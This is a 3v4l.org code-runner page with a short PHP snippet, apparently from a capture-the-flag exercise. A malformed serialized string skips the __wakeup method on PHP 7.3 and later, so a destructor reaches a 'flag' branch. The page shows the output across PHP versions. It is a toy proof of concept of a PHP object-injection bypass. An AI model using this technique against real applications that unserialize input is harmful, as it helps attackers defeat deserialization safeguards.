3v4l.org

run code in 500+ PHP versions simultaneously
<?php class D{ public $flag=True; public function __get($a){ if($this->flag){ echo 'flag'; }else{ echo 'hint'; } } public function __wakeup(){ $this->flag = False; } } class C{ public function __destruct(){ echo $this->c->b; } } @unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');
Output for 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.34, 8.2.0 - 8.2.31, 8.3.0 - 8.3.31, 8.4.1 - 8.4.22, 8.5.0 - 8.5.7
flag
Output for 5.0.0 - 5.0.3, 5.1.5, 5.3.29, 5.4.33 - 5.4.39, 5.5.20, 5.6.0 - 5.6.26
hint

preferences:
59.67 ms | 1447 KiB | 4 Q